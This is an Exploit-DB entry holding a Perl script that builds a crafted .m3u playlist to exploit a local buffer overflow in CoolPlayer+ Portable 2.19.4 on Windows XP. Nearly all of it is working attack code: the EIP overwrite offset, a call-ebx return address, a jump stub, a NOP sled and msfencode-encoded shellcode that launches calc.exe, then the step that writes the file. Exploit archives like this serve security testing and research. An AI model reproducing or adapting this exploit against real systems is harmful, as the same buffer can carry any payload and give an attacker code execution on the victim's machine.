Exploit-DB #29613
Description: CoolPlayer+ Portable 2.19.4 - Local Buffer Overflow
Type: dos
Platform: windows
Date: 2013-11-15
Author: Mike Czumak

Exploit:
#!/usr/bin/perl

############################################################################################################
# Exploit Title: CoolPlayer+ Portable v2.19.4 - Local Buffer Overflow
# Date: 11-15-2013
# Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software: CoolPlayer+ Portable v2.19.4
# Software Link: http://portableapps.com/apps/music_video/coolplayerp_portable
# Version: 2.19.4
# Tested On: Windows XP SP3
#
# Credits: Seems various versions of this software have been vulnerable to BOF for a while
# -- http://www.exploit-db.com/exploits/4839/
#
# Details: Creates an .m3u file for a simple EIP overwrite
# -- Buffer is mangled at esp (shellcode size < ~400) so ebx is better choice
# -- First overwrite eip with call ebx which points to beginning of buffer
# -- Add 300 to ebx to jump past the eip overwrite and into shellcode (available space > 9400)
############################################################################################################

my $buffsize = 10000; # set consistent buffer size

my $jmp = "\x83\xc3\x64" x 3; # add 300 to ebx which will jump beyond eip overwrite and into nops/shellcode
$jmp = $jmp . "\xff\xe3"; # jmp ebx

my $junk = "\x41" x (260 - length($jmp)); # fill remainder of start of buffer to eip overwrite at offset 260

my $eip = pack('V',0x7c810395); # call ebx [kernel32.dll] which points to start of buffer and our jump code
				# no usable application module found

my $nops = "\x90" x 50;

# Calc.exe payload [size 227]
# msfpayload windows/exec CMD=calc.exe R | 
# msfencode -e x86/shikata_ga_nai -c 1 -b '\x00\x0a\x0d\xff'
my $shell = $shell . "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" .
"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" .
"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" .
"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" .
"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" .
"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" .
"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" .
"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" .
"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" .
"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" .
"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" .
"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" .
"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" .
"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" .
"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" .
"\x9a\xca\xc0";

my $sploit = $jmp.$junk.$eip.$nops.$shell; # build sploit portion of buffer
my $fill = "\x43" x ($buffsize - (length($sploit))); # fill remainder of buffer for size consistency
my $buffer = $sploit.$fill; # build final buffer

# write the exploit buffer to file
my $file = "coolplayer.m3u";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file [" . $file . "] created\n";
print "Buffer size: " . length($buffer) . "\n";